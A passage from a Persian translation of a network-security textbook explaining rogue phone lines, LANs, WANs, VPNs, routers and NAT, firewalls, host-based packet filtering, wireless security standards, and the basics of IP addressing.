توجه داشته باشید که نه پویشگرهای تلفنی و نه دیواره‌های آتش تلفنی هیچیک نمی‌توانند بیش از کشف و کنترل مودمها و خطوط تلفنی که می‌شناسید کار بیشتری انجام دهند. اگر فرض را بر آن بگذاریم که سازمان شما محدوده‌های تلفنی خاصی دارد، قاعدتاً شما پویش تلفنی و دیواره‌های آتش تلفنی خود را محدود به همین محدوده می‌کنید، و لذا چنانچه یکی از کارمندان از شرکت مخابرات یک خط تلفن جداگانه سفارش بدهد و هزینهٔ آنرا از جانب خودش پرداخت کند، آن شمارهٔ تلفن در محدودهٔ تلفنی سازمان شما قرار نمی‌گیرد و بنابراین با پویش تلفنی قابل شناسایی نخواهد بود، و در معرض دیوارهٔ آتش تلفنی نیز قرار نخواهد داشت. مشابه همین مورد، یک تلفن همراه متصل به یک مودم نیز در محدودهٔ از پیش دانستهٔ شما قرار نمی‌گیرد.

در بسیاری از موارد تنها روش شناسایی تلفنهای بی‌خانمان، مشاهدهٔ بصری جعبه‌تقسیمهای فیزیکی سیم‌کشی و سایر نقاطی است که خطوط تلفنی بیرونی می‌توانند وارد سازمان شوند؛ و در محیطی که پر از ابزارهای بی‌سیم مجاز است، شناسایی ابزارهای بی‌سیم غیرمجاز بسیار دشوارتر از این می‌باشد.

شبکه‌ها

گرچه مودمهای تلفنی هنوز بطور وسیعی برای متصل کردن رایانه‌ها بکار می‌روند، میلیونها رایانه از طریق شبکه‌های پرسرعت‌تر با یکدیگر در ارتباط هستند. از دیدگاه عملی، امروزه معمولاً کاربران رایانه دنیای شبکه را به دو دسته تقسیم می‌کنند:

شبکه‌های محلی (LANها)

شبکه‌های محلی شبکه‌هایی با سرعت بالا هستند که برای اتصال رایانه‌ها به یکدیگر در یک منطقهٔ واحد بکار می‌روند. هرچند شبکهٔ Ethernet در ابتدا یک شبکهٔ *عام‌گستر* (پخش عمومی)[۲۴۹] بود که انتقالات با فرکانس بالا را از طریق سیمهای مسی انجام می‌داد، امروزه اصطلاح Ethernet بیشتر برای یک شبکهٔ سیمی همراه با hub یا سوئیچ اطلاق می‌شود که می‌تواند اطلاعات را با سرعت ۱۰، ۱۰۰ یا ۱۰۰۰ میلیون بیت بر ثانیه منتقل سازد. شبکه‌های بی‌سیم که برای فواصل نسبتاً کوتاه – درون یک اداره یا خانه – بکار می‌روند نیز "شبکه‌های محلی" خوانده می‌شوند. در هر دو مورد از پروتکلهایی استفاده شده است که توسط مؤسسهٔ مهندسان برق و الکترونیک (IEEE) تعریف شده‌اند.

همچنین می‌توان دو رایانه را با استفاده از یک خط مستقیم (سریال) به یکدیگر متصل کرد. در اینصورت بسته‌های IP با استفاده از پروتکل نقطه–به–نقطه (PPP)، پروتکل اینترنتی خطوط سریال (SLIP)، و یا SLIP فشرده (CSLTP) ارسال شوند. چنانچه هر رایانه به یک شبکهٔ محلی متصل باشد، این خط سریال می‌تواند مثل یک پل، ارتباط میان دو آن شبکهٔ محلی را ایجاد کند.

شبکه‌های گسترده (WANها)

شبکه‌های گسترده شبکه‌هایی با سرعت پایینتر هستند که سازمانها برای متصل کردن شبکه‌های محلی‌شان به یکدیگر از آنها استفاده می‌کنند. شبکه‌های گسترده معمولاً از خطوط تلفن مستقیم استیجاری (انحصاری) و مدارهای داده‌ای با مسافت طولانی (که ممکن است اتصالات ماهواره‌ای، ارتباطات مایکروویو، و یا کابلهای فیبرنوری را از خود عبور دهند) ساخته می‌شوند و قادرند داده را با سرعتی میان ۵۶ هزار بیت در ثانیه تا چند میلیون بیت در ثانیه منتقل نمایند. یک شبکهٔ گسترده می‌تواند دفاتر یک شرکت را در سراسر یک شهر یا یک قاره به هم متصل سازد. همچنین می‌توان یک شبکهٔ گسترده را میان چند سازمان به اشتراک گذاشت تا همگی از آن استفاده کنند.

یک نوع خاص شبکه‌های گسترده که استفادهٔ فزاینده‌ای پیدا کرده، شبکهٔ خصوصی مجازی (VPN) است. VPN یک شبکهٔ مجازی است، چون بسته‌ها از طریق اینترنت (یا شبکه عمومی دیگری) منتقل می‌شوند؛ و نیز یک شبکهٔ خصوصی است، چراکه برای جلوگیری از مطلع‌شدن سایر کاربران شبکهٔ عمومی از محتویات بسته‌ها و یا دستکاری آن محتویات توسط آنان، داده‌های درون بسته‌ها رمزگذاری می‌شود. VPN می‌تواند با هزینه‌ای بسیار پایینتر از خطوط تلفن استیجاری، مناطق مختلفی را به هم متصل کند.

یکی از اولین شبکه‌های رایانه‌ای ARPANET بود که در اوایل دههٔ ۱۹۷۰ توسط دانشگاهها و شرکتهای طرف قرارداد سازمان پروژه‌های تحقیقاتی پیشرفته وزارت دفاع ایالات متحده (ARPA یا DARPA) بوجود آمد. ARPANET رایانه‌ها را در سراسر جهان به یکدیگر متصل ساخت و بعنوان یک *شاهراه*[۲۵۰] برای بسیاری شبکه‌های محلی و دانشگاهی دیگر که در دههٔ ۱۹۸۰ بوجود آمدند بکار رفت.

249 Broadcast
250 Backbone

امروز نوادهٔ ARPANET تحت عنوان اینترنت شناخته می‌شود. اینترنت یک شبکهٔ مبتنی بر IP است که صدها میلیون رایانه و بیش از یک میلیارد کاربر در سراسر جهان را در بر می‌گیرد. برخی از این سیستمهای کامپیوتری همواره به این شبکه متصل هستند و مابقی هر از چندگاه به آن متصل می‌شوند. هر یک از کاربران می‌تواند تلاش کند که برای شما یک نامهٔ الکترونیکی بفرستد، با سرویس‌دهندهٔ FTP شما چند فایل مبادله کند، و یا (درصورتیکه سیستم شما طوری پیکربندی شده باشد که به آنان دسترسی لازم را بدهد) به سیستم شما نفوذ کند.

مسیریابها و دروازه‌ها

علیرغم پیچیدگی اینترنت و آدرس‌دهی بر مبنای IP، رایانه‌ها به آسانی می‌توانند از طریق شبکهٔ جهانی به یکدیگر پیام بفرستند. برای فرستادن یک بسته، اکثر رایانه‌ها تنها مقصد نهایی بسته را تعیین کرده و سپس بسته را به یک رایانه به نام "دروازه" در شبکهٔ محلی خود می‌فرستند. اگر این دروازه خود تعیین‌کنندهٔ مقصد بعدی بسته در مسیر ارسال آن به مقصد نهایی باشد، به آن "مسیریاب" می‌گویند. مسیریاب برای رساندن بسته به مقصد نهایی، آنرا به یک دروازه که مستقیماً به آن متصل است و گمان می‌شود که یک قدم نزدیکتر به مقصد نهایی باشد می‌فرستد.

بسیاری از سازمانها شبکهٔ داخلی خود را بصورت یک درخت بزرگ پیکربندی می‌کنند که در ریشهٔ آن، ارتباط سازمان با اینترنت قرار دارد. هنگامیکه دروازه یک بسته را دریافت می‌کند، تصمیم می‌گیرد که آنرا به یکی از زیرشبکه‌های خود بفرستد و یا به سوی ریشه هدایت کند. در بیرون، روی اینترنت، ارائه‌کنندگان اصلی IP شبکه‌ای پیچیده، الگوریتمهای مسیریابی پیشرفته، و پروتکلهای مسیریابی مخصوص دارند و بسیاری از آنها از شبکه‌های همپوشان استفاده می‌کنند تا اگر یک اتصال از کار افتاد، سایر اتصالات همچنان ارتباط را برقرار نگهدارند.

کاربران خانگی و ادارات کوچک به آسانی می‌توانند مسیریابهای ۴ یا ۸ پورتی Ethernet تهیه کنند که برای اتصال به یک DSL با پهنای باند زیاد و یا مودمهای کابلی طراحی شده‌اند و بسته‌ها را میان رایانه‌های خانگی و آن اتصال پرسرعت و از آنجا به اینترنت هدایت می‌کنند. یکی از مهمترین مشخصه‌های این دستگاهها (و نیز دستگاههایی که بوسیلهٔ *مسیریابهای انتهایی*[۲۵۱] پشتیبانی می‌شوند) قابلیت *ترجمهٔ آدرس شبکه* (NAT)[۲۵۲] است. NAT یک سیستم عمومی برای ترجمهٔ آدرسهای IP بسته‌های دریافتیِ مسیریاب به آدرسهای دیگر، قبل (یا بعد) از تعیین مقصد بسته توسط مسیریاب و ارسال آن به مقصد است که عموماً از آن برای این استفاده می‌شود که امکان استفادهٔ چندین رایانهٔ داخلی با آدرسهای IP محرمانه (و غیرقابل مسیریابی) از یک آدرس IP خارجی (عمومی) واحد، و یا برای ترجمهٔ آدرسهای IP عمومی گروههای رایانه‌ای به آدرسهای IP خصوصی متناظر در شبکهٔ داخلی بکار می‌رود. از آنجاکه آدرسهای IP داخلی مستقیماً از روی اینترنت قابل دسترس نیستند (چراکه هیچ مسیریاب دیگری نمی‌تواند آنرا بدرستی هدایت کند)، NAT می‌تواند در مقابل اتصالاتی که توسط کاربران خارجی روی ماشینهای داخلی ایجاد می‌شود نوعی حفاظت ایجاد کند، هرچند ماشینهای داخلی همچنان می‌توانند به اینترنت متصل باشند.

مشخصهٔ بعدی مسیریابهای انتهایی، توانایی آنها در راه‌اندازی شبکهٔ خصوصی مجازی (VPN) میان دو شبکهٔ محلی در مکانهای جداگانه – مثلاً دو دفتر یک سازمان – است. یک جفت مسیریاب می‌توانند با استفاده از پروتکلهایی مانند IPsec و انتقال امن بسته‌ها میان شبکه‌های محلی با استفاده از چیزی شبیه یک تونل مجازی و نه اینترنت حفاظت‌نشده، VPN را بوجود آورند.

مسیریابها معمولاً مرزهای محدودهٔ امنیتی یک شبکه را نشان می‌دهند و می‌توانند یک نقطهٔ آسیب‌پذیری محسوب شوند. مهاجمان با دستکاری یک مسیریاب می‌توانند بسته‌هایی که به مقصد سازمان ارسال شده‌اند را به جای دیگری هدایت کنند، یا به میزبانهای داخلی یا *اطلاعات چینش شبکه*[۲۵۳] دسترسی غیرمجاز بیابند. هر تولیدکنندهٔ مسیریاب، ویژگیهای برنامه‌ریزی متفاوتی ارائه می‌دهد که باعث می‌شود امن کردن مسیریابها کار دشواری شود. یک پیشنهاد عملی این است مطمئن شویم مسیریابها تنها با دسترسی فیزیکی (و مثلاً با پایانه‌ای که با یک کابل سریال به مسیریاب متصل است) قابل برنامه‌ریزی هستند و نمی‌توان پیکربندی آنها را از راه دور و

---

251 High-End Routers
252 Network Address Translation
253 Network Layout Information

با استفاده از شبکه تغییر داد. گزینه‌های پیکربندی مسیریابها باید همواره رمز عبور داشته باشند. اگر قرار است مسیریابها از طریق SNMP مدیریت شوند، دسترسی خواندن از روی آنها باید رمز عبور داشته باشد، و دسترسی نوشتن نیز برایشان غیرفعال باشد.

مسیریابهای مرزی باید مجهز به *صافیهای خروجی*[۲۵۴] باشند تا بسته‌ها را به خارج از شبکه نفرستند، مگر در حالتی که آدرس IP مبدأ بسته، معتبر و یک آدرس متعلق به آن شبکه باشد. این مسیریابها همچنین باید مجهز به *صافیهای ورودی*[۲۵۵] باشند تا بسته‌های جعلی که مدعی هستند از داخل شبکه آمده‌اند، روی واسط خارجی مسیریاب پذیرفته نشده و به داخل فرستاده نشوند.

دیواره‌های آتش خارجی

دیوارهٔ آتش وسیله‌ای است که برای جلوگیری از جریان بسته‌های داده‌ای میان دو شبکه طراحی شده، و تنها بسته‌هایی که می‌خواهند از ورودیهای از پیش تعیین‌شده عبور کنند را عبور می‌دهد.

دیواره‌های آتش نوعاً به دو دسته تقسیم می‌شوند: *صافیهای بسته*[۲۵۶]، و *دروازه‌های برنامه*[۲۵۷]. دیواره‌های آتش غربال‌ساز بسته‌ها، بسته‌های داده‌ای شبکه را مورد ارزیابی قرار می‌دهند و مشخص می‌سازند که آیا مجاز به عبور از دیوارهٔ آتش هستند یا خیر. دیواره‌های آتش قدیمی غربال‌ساز بسته‌ها ساختار بسیار ساده‌ای دارند. آنها می‌توانند بر اساس اطلاعاتی چون آدرسها و پورتهای مبدأ و مقصد بسته‌ها مانند SYN که همگی در *سرآیند*[۲۵۸] وجود دارند، به بسته‌ها اجازهٔ عبور دهند یا جلوی عبور آنها را بگیرند.

صافی‌های بسته‌ای که وارسی stateful انجام می‌دهند، وضعیت هر ارتباطی که از دیوارهٔ آتش می‌گذرد را به خاطر می‌سپارند، و برای اینکه تشخیص دهند یک بسته مربوط به یک اتصال خاص هست یا نه، ممکن است جزئیات بیشتری از محتویات بسته را نیز تحت بررسی قرار دهند. بعنوان مثال یک دیوارهٔ آتش stateful می‌تواند یک اتصال انتقال دادهٔ FTP را شناسایی کند و تشخیص دهد که مربوط به یک اتصال FTP موجود و مجاز می‌باشد و به آن اجازهٔ انتقال دهد، و در همان حال جلوی یک اتصال جدید ورودی روی همان پورت را بگیرد.

یک دروازهٔ برنامه‌ایِ شبکه بجای *سطح بسته*[۲۵۹] در *سطح برنامه*[۲۶۰] عمل می‌کند و نوعاً از چند proxy برای ارائه خدمات کاربردی تشکیل شده است. افراد خارج از سازمان بجای اتصال به سرویس‌دهنده‌های وب سازمان باید به proxy سرویس‌دهندهٔ وب دیوارهٔ آتش که روی پورت ۸۰ است متصل شوند. نرم‌افزار proxy اطمینان می‌دهد که اتصال از صحت لازم برخوردار است، می‌تواند جریان داده‌ای آنرا تأیید کند، و سپس آنرا به سرویس‌دهنده‌های واقعی وب داخلی منتقل نماید. به همین ترتیب proxy مسئولیت ارسال داده‌های خروجی از سرویس‌دهنده‌های وب داخلی به سرویس‌گیرنده‌ها را نیز بر عهده دارد.

برخی از کارهایی که برای پیاده‌سازی آنها می‌توان از دیواره‌های آتش خارجی استفاده کرد به قرار زیر هستند:

- جلوی تمام جریان دادهٔ ورودی بجز چند استثنا – مثل اجازهٔ ایجاد ارتباط HTTP به پورت ۸۰ برای همه، و فهرستی از میزبانهای از پیش تعیین‌شده برای ایجاد ارتباط SSH به پورت ۲۲ – را بگیرد. این مسئله که بعنوان "جلوگیری از هرآنچه که مجاز نیست" شناخته می‌شود، یک الگوی امنیتی است که معمولاً استفاده از آن توصیه می‌گردد.
- به اتصالات خارج‌شوندهٔ HTTP به مقصد هرکجای اینترنت اجازهٔ خروج دهد، اما اتصالات به سمت درون را تنها از برخی میزبانهای خاص مجاز بداند.
- رخدادهای دیواره‌های آتش را برای تحلیل در آینده ثبت کند.

254 *Egress Filters*
255 *Ingress Filters*
256 *Packet Filters*
257 *Application Gateways*
258 *Header*
259 *Packet Level*
260 *Application Level*

کتابهای بسیار خوب زیادی در زمینهٔ دیوارهای آتش منتشر شده‌اند که طراحی و استفاده از آنها – مثلاً اینکه چندین دیوارهٔ آتش را چگونه باید پیکربندی کرد تا شبکه را بگونه‌ای به یک زیرشبکه از میزبانها که کاربران خارجی بتوانند به آن دسترسی داشته باشند (معروف به *ناحیه غیرنظامی‌شده*[۲۶۱]) و یک زیرشبکه که از دسترسی کاربران خارجی در امان باشد افزار کنند – را بطور عمیق شرح داده‌اند.[۲۶۲]

دیواره‌های آتش مبتنی بر میزبان

بسیاری از سیستمها از جمله اکثر سیستمهای Unix و سیستمهای اخیر مایکروسافت، خود دارای یک صافی بستهٔ داخلی هستند، و برخی مثل برنامهٔ *netfilter* در Linux 2.4، امکان وارسی stateful بسته‌ها را نیز فراهم آورده‌اند. دیوارهٔ آتش با ضوابطی کنترل می‌شود که هنگام اجرا در هستهٔ سیستم‌عامل (kernel) بارگذاری می‌گردند. این ضوابط بر اساس نوع بسته‌ها، میزبان، پروتکل، و یا حتی نشانهای بسته‌ها، می‌توانند به بسته‌ها اجازهٔ عبور بدهند یا ندهند. خط‌مشی‌های پیکربندی صافیهای بستهٔ مبتنی بر میزبان بسیار مشابه خط‌مشی‌های پیکربندی دیواره‌های آتش خارجی هستند.

ضوابطی که شما به یک kernel دارای دیوارهٔ آتش در سطح بسته می‌افزایید، به ضوابط کنترل دسترسی که در برنامه‌های شبکه با سیستم *tcpwrapper* (که ذیلاً توضیح داده می‌شود) پیاده‌سازی کرده‌اید و یا هر دیوارهٔ آتش خارجی که از شبکهٔ دربرگیرنده میزبان حفاظت می‌کند اضافه می‌شود. دیوارهٔ آتش سطح kernel یک لایهٔ حفاظتی بیشتر به شما می‌دهد و می‌تواند قسمت مهمی از یک استراتژی دفاع چندلایه محسوب شود.

اشکال اصلی دیواره‌های آتش در سطح بسته این است که باعث مصرف توان ریزپردازنده می‌شوند؛ و این امر در سیستمهای زیر بار سنگین و در حالتی که مجموعهٔ ضوابط طولانی باشند اهمیت زیادی پیدا می‌کند و ممکن است سیستم شما طاقت تحمل آنرا نداشته باشد. علیرغم این مسئله، در بسیاری موارد دیواره‌های آتشِ در سطح بسته فشار چندان زیادی بر سیستم وارد نمی‌آورند. بعنوان مثال یک سیستم Intel 486 با توان 33 MHz مجهز به هستهٔ سیستم‌عامل Unix به آسانی می‌تواند ترافیک یک خط کاملاً بارشدهٔ T1 یا DSL را پردازش کند.

غالباً با استفاده از دیواره‌های آتش مبتنی بر میزبان خواهید توانست ضوابطی تعریف کنید که بر بسته‌های وارده به مقصد میزبان، بسته‌های خارج‌شونده از میزبان، و نیز بسته‌هایی که توسط میزبان هدایت می‌شوند و میزبان بعنوان دروازهٔ آنها عمل می‌کند اعمال شوند. غربال‌سازی بسته‌های وارده روش مهمی برای محدودکردن دسترسی به خدمات شبکه است. غربال‌سازی بسته‌های خارج‌شونده، افشای تصادفی منابع حیاتی و اطلاعات پیکربندی سیستم را محدود می‌سازد و خرابی ناشی از آلوده‌شدن دستگاه به تراوا را نیز کاهش می‌دهد. این عمل همچنین می‌تواند به اعمال سیاستهای استفادهٔ صحیح از شبکه کمک کند، اما کاربرانی که دانش کافی داشته باشند معمولاً می‌توانند از صافیهای خروجی عبور کنند.

یکی از پیشرفتهای مهم در دیواره‌های آتش مبتنی بر میزبان، *غربال‌سازی هنگام نیاز*[۲۶۳] است. اگر شما بدلیل وجود آسیب‌پذیریهای شناخته‌شده، خدمات مختلف را روی رایانه به اجرا در نیاورده‌اید، می‌توانید یک برنامهٔ ناظر اجرا کنید که پورتهای استفاده‌نشدهٔ معمولی – و یا حتی تمام پورتهای استفاده‌نشدهٔ پایینتر از ۱۰۲۴ – را تحت نظر بگیرد. اگر میزبان شما یک سرویس‌دهندهٔ خبری نباشد و در عین حال یک میزبان راه دور سعی در اتصال به سرویس NNTP میزبان شما کند و یا بخواهد از سرویس TFTP آن استفاده نماید، برنامهٔ ناظر به اینصورت وارد عمل می‌شود که تلاش برای اینکار را ثبت می‌کند و آدرس IP آن میزبان راه دور را در یک *ضابطهٔ ممانعت*[۲۶۴] به tcpwrapper می‌افزاید؛ و یا برای مسدود کردن همهٔ اتصالات از سوی آن میزبان، یک ضابطهٔ جدید به دیوارهٔ آتش مبتنی بر میزبان اضافه می‌نماید. چنانچه نگران مسدود شدن تصادفی یک میزبان بی‌آزار هستید، می‌توانید برنامهٔ

---

261 Demilitarized Zone

۲۶۲ *کتابهایی که در این زمینه بسیار توصیه می‌شوند عبارتند از کتاب Cheswick، Bellovin و Rubin به نام "دیواره‌های آتشین و امنیت اینترنت: راندن نفوذگر مکار"، چاپ دوم، سال ۲۰۰۳، و کتاب Zwicky، Cooper و Chapman به نام "ساخت دیوارهای آتشین اینترنتی"، چاپ دوم، سال ۲۰۰۰.*

263 On-demand Filtering

264 Deny Rule

ناظر را طوری پیکربندی کنید که پیش از مسدود کردن یک میزبان راه دور، نیاز به چند *کاوش*[۲۶۵] داشته باشد. تعداد زیادی از ناظرهای اینچنینی که با پویش به یافتن نقاط حمله می‌پردازند برای بسترهای مختلف بصورت آزاد و تجاری وجود دارند.

شبکه‌های بی‌سیم

یک استراتژی بسیار رایج و رو به رشد در شبکه‌سازی – خصوصاً در اماکنی که ایجاد زیرساخت شبکه‌ای هزینه‌بر و یا ناممکن می‌باشد – شبکه‌سازی بی‌سیم است. شبکه‌های بی‌سیم عموماً از استانداردهای 802.11 مؤسسه IEEE پیروی می‌کنند، که شامل 802.11b، 802.11a و 802.11g می‌شود.[۲۶۶] در یک شبکهٔ بی‌سیمِ نوعی، وسایلی به نام *نقاط دسترسی بی‌سیم*[۲۶۷] برای دریافت و انتقال داده‌ها در یک محدودهٔ مشخص (مثلاً یک طبقه از یک ساختمان) نصب می‌شوند. این دستگاهها ممکن است به یکدیگر متصل باشند، اما برای فرستاده شدن بسته‌ها به خارج از سازمان، در نهایت باید به مسیریابهای سازمان متصل گردند.

ملاحظات زیادی در برپایی یک شبکهٔ بی‌سیم وجود دارد. داده‌های روی شبکه باید محرمانه باقی بمانند؛ یعنی مهاجمان نباید قادر به استراق سمع این داده‌ها باشند، و از آن گذشته نباید بتوانند به شبکهٔ بی‌سیم بپیوندند و از منابع آن (مثل اتصال اینترنتی) بهره‌برداری کنند.

متأسفانه شبکه‌سازی بی‌سیم، سابقهٔ خوبی در زمینهٔ امنیت ندارد. خصوصاً شبکه‌های 802.11b اکثراً قابلیتهای حفاظتی بسیار محدودی ارائه می‌کنند. هرچند یک پروتکل به نام *پروتکل معادل شبکه‌های سیمی* (WEP)[۲۶۸] برای رمزگذاری سطح اتصال هم‌اکنون کاربرد گسترده‌ای دارد، اما نشان داده شده که این پروتکل حاوی یک نقص اساسی است و مهاجمان با سخت‌افزار نسبتاً ساده‌ای (یک رایانهٔ کیفی و یک کارت شبکهٔ بی‌سیم) می‌توانند به اندازه‌ای داده بدست آورند که بتوانند کلید رمزگذاری را کشف و تمام داده‌ها را آشکار سازند. پراستفاده‌ترین روشهای کنترل دسترسی مثل غربال‌سازی MAC (دادن اجازهٔ ورود و اتصال تنها به مشتریان بی‌سیمی که آدرسهای سخت‌افزاری شناخته‌شده دارند) نیز ضعیف هستند، چراکه MAC به سادگی قابل تشخیص و تغییر است. اگرچه فعال کردن همهٔ این امکانات امنیتی – و همچنین تغییر مقدار پیش‌فرض SSIDها و خاموش کردن پخش عمومی SSID – می‌تواند به برقراری سطح بالاتری از امنیت کمک کند، اما استفاده از همهٔ آنها درکنار هم نیز منجر به ایجاد یک شبکهٔ بی‌سیم ایمن نمی‌شود.

در شبکه‌های قدیمی‌ترِ 802.11b، محرمانگی تنها با الزام سرویس‌گیرنده‌ها به استفاده از رمزنگاری انتها به انتها برای اتصالات (مثل سیستمهای VPN یا SSH) بدست می‌آید و کنترل دسترسی نیز می‌تواند با استفاده از روش captive portal مدیریت شود. در این سیستم یک دیوارهٔ آتش (که بطور ایده‌آل در همهٔ نقاط دسترسی عمل می‌کند)، تمام ترافیک تصدیق‌هویت‌نشده را مسدود می‌کند، بجز ترافیکی که به برنامهٔ portal می‌رود، و این برنامه مسئولیت تصدیق هویت ایمن کاربران و اطلاع به دیوارهٔ آتش برای دادن اجازهٔ عبور به بسته‌های ماشین تأییدشده در یک بازهٔ زمانی محدود را برعهده دارد.

یک روش امن‌تر در استاندارد IEEE 802.1x عنوان شده است. وسایل بی‌سیمی که از این استاندارد پیروی می‌کنند پروتکل *تصدیق هویت توسعه‌پذیر* (EAP)[۲۶۹] را برای تبادل داده‌های تصدیق‌هویت‌شده مورد استفاده قرار می‌دهند. سرویس‌گیرنده‌های بی‌سیم در حالت تصدیق هویت‌نشده شروع به کار می‌کنند و در اینحالت تنها می‌توانند بسته‌های EAP اولیه را ارسال نمایند. نقطهٔ دسترسی با یک درخواست برای هویت سرویس‌گیرنده به آن بستهٔ EAP اولیه پاسخ می‌دهد، و سرویس‌گیرنده نیز اینبار هویت خود را ارسال می‌نماید. این مکالمه روی یک کانال امن صورت می‌پذیرد که معمولاً با استفاده از نوعی TLS پیاده‌سازی می‌شود. نقطهٔ

---

265 Probe

۲۶۶ سایر وسایل بی‌سیم مانند تلفنهای همراه و PDAها از شبکه‌های تلفن همراه GSM استفاده می‌کنند. بسیاری از مشکلات 802.11 گریبانگیر شبکه‌های GSM نیز هستند. برای اطلاعات بیشتر به کتاب زیر مراجعه کنید: "مدیریت مخاطرات سیار: امور مالی الکترونیکی در محیطهای بی‌سیم" سال ۲۰۰۲، نوشتهٔ Tom Kellermann برای بانک جهانی: www.worldbank1.org/finance

267 Wireless Access Points
268 Wired Equivalent Protocol
269 Extensible Authentication Protocol

دسترسی هویت را تصدیق می‌کند و حالت سرویس‌گیرنده را به "تصدیق‌شده" تغییر می‌دهد، یک کلید WEP اولیه برای استفاده در رمزگذاری داده‌های بی‌سیم می‌فرستد، و در طول اتصال نیز می‌تواند این کلید را تغییر دهد. با تغییر دادن هر از چندگاه کلیدها، از بروز حملاتی که بر گرفتن تعداد زیادی بسته با کلید یکسان WEP تکیه دارد جلوگیری می‌شود.

دسترسی حفاظت‌شدهٔ Wi-Fi (WPA)[۲۷۰] استاندارد جدیدتری است که یک سیستم رمزگذاری بهتر از WEP و نیز قابلیت تصدیق هویت از طریق 802.1x و یا با استفاده از یک کلید مشترک ارائه می‌دهد. این حالت در اصل برای کاربران خانگی و ادارات کوچکی است که قادر نیستند سرویس‌دهنده‌های RADIUS مخصوص خود را برای انجام عملیات تصدیق هویت 802.1x مستقر کنند. مشابه شبکه‌های سیمی، شبکه‌های بی‌سیم نیز می‌توانند از پیکربندی صحیح صافیهای بسته‌ای در نقاط دسترسی، موقعیت مناسب نقاط دسترسی در هندسهٔ شبکه (که در بهترین حالت در خارج از دیوارهٔ آتش داخلی هستند)، و سایر روشهای مشابه برای مستحکم‌تر کردن امنیت شبکه برخوردار باشند. راه‌اندازی یک سیستم مهاجم‌یاب شبکه روی شبکهٔ بی‌سیم نیز یک اقدام مفید است.

در پایان توجه داشته باشید که شبکه‌های بی‌سیم همواره در معرض *پارازیت*[۲۷۱] قرار دارند. بعنوان مثال یک اجاق مایکروویو که در دیوارهٔ آن یک شکاف وجود دارد می‌تواند عملیات یک شبکهٔ بی‌سیم مبتنی بر فناوری Wi-Fi (802.11) را مختل سازد، چراکه سیستمهای مایکروویو و Wi-Fi هردو از بخش یکسانی از طیف 2.4 GHz استفاده می‌کنند. البته پارازیت منجر به افشای اطلاعات نمی‌شود، ولی به هرحال می‌تواند شبکهٔ بی‌سیم را در عمل غیرقابل استفاده سازد.

دو کتاب مفید برای راه‌اندازی شبکه‌های بی‌سیم ایمن عبارتند از "امنیت 802.11" و "امنیت RADIUS"، که هر دو توسط انتشارات اوریلی و همکاران به چاپ رسیده‌اند.

شبکه‌های TCP/IP

پروتکل اینترنت (IP) به مثابه چسبی است که شبکه‌های رایانه‌ای نوین را به هم متصل نگه می‌دارد. IP روش انتقال پیامها از رایانه‌ای به رایانهٔ دیگر را مشخص می‌سازد و در حقیقت یک "زبان مشترک" را تعریف می‌کند که تمامی رایانه‌ها در اینترنت برای صحبت کردن از آن استفاده می‌کنند.

نگارش چهارم پروتکل اینترنت، IPv4، که از سال ۱۹۸۲ در اینترنت استفاده می‌شود، امروز در تمام جهان مورد استفاده قرار دارد و به احتمال زیاد سالهای زیادی پس از این نیز همچنان مورد استفاده خواهد بود. IPv5 یک پروتکل آزمایشی بود که هرگز کاربرد وسیع پیدا نکرد، و IPv6 جدیدترین نگارش پروتکل اینترنت است. این پروتکل از مزایایی چون فضای آدرس‌دهیِ بسیار وسیع و قابلیت ذاتی رمزگذاری برخوردار است. از سال ۲۰۰۳ پروتکل IPv6 بطور آزمایشی مورد استفاده زیاد قرار گرفت و بتدریج نیز کاربرد آن گسترده‌تر می‌شود.

داده‌ها در اینترنت بصورت بلوکهایی از کاراکترها به نام datagram و یا به زبان عامیانه‌تر "بسته" ارسال می‌شوند. هر بسته یک بلوک داده متشکل از چند بایت دارد که به آن "سرآیند" می‌گویند و فرستنده و مقصد نهایی بسته را مشخص می‌سازد. بدنبال سرآیند معمولاً یک بلوک بزرگتر از بایتها قرار می‌گیرد که "محتوا"ی بسته نام دارد. پس از آنکه بسته‌ها به مقصد خود می‌رسند، غالباً در یک رشته از داده‌ها بصورت پشت‌سرهم *گردهم‌آوری مجدد*[۲۷۲] می‌شوند؛ و البته این فرآیند قطعه‌قطعه شدن و گردهم‌آوری مجدد داده با استفاده از بسته‌ها معمولاً از دید کاربر پنهان است. از آنجا که معمولاً از یک سیستم تا سیستم دیگر مسیرهای متفاوت زیادی وجود دارد، هر بسته ممکن است از مبداء تا مقصد مسیر متفاوتی را طی کند.

---

270 Wi-Fi Protected Access
271 Jamming
272 Reassemble

خود بسته‌های IP هم می‌توانند در بسته‌های دیگر مربوط به سایر پروتکلهای شبکه قرار بگیرند. بعنوان مثال بسیاری از شبکه‌های IP که امروزه با خطوط مستقیم استیجاری ساخته می‌شوند در حقیقت بسته‌های IP را بصورت جاسازی‌شده در شبکه‌های Frame Relay یا *حالت انتقال ناهمگام* (ATM)[۲۷۳] ارسال می‌کنند.

آدرس‌دهی IP

به تمام واسطهای رایانه‌هایی که در شبکه‌های IPv4 قرار دارند یک آدرس ۳۲ بیتی یکتا نسبت داده می‌شود. این آدرسها معمولاً بصورت ۴ عدد ۸ بیتی که octet نام دارند بیان می‌شوند. یک نمونهٔ آدرس، 18.70.0.224 است. یک رایانه می‌تواند چندین واسط شبکه‌ای داشته باشد که هر کدام آدرس مخصوص به خود را دارند، و ممکن است هریک روی یک شبکهٔ محلی متفاوت از دیگری باشند.

از لحاظ نظری، با استفاده از یک آدرس ۳۲ بیتی در آن واحد اجازهٔ اتصال حداکثر ۴،۲۹۴،۹۶۷،۲۹۶ = $۲^{۳۲}$ رایانه را به اینترنت می‌دهد؛ اما در عمل تعداد کل رایانه‌هایی که می‌توانند به اینترنت متصل شوند بسیار بیش از $۲^{۳۲}$ است، چراکه با استفاده از فناوریهایی چون proxyها و NAT تعداد زیادی رایانه می‌توانند از یک آدرس IP مشترک استفاده کنند. این رایانه‌های چندگانه که پشت یک آدرس IP واحد قرار می‌گیرند می‌توانند بگونه‌ای پیکربندی شوند که سیاستهای مختلف نحوهٔ اتصال رایانه‌ها به یکدیگر از جمله مسدود کردن هرگونه دسترسی، برقراری دسترسی محدود، و یا برقراری دسترسی نامحدود را در یک یا هر دو جهت ارتباط پیاده‌سازی و تضمین کنند.

شبکه‌های IP

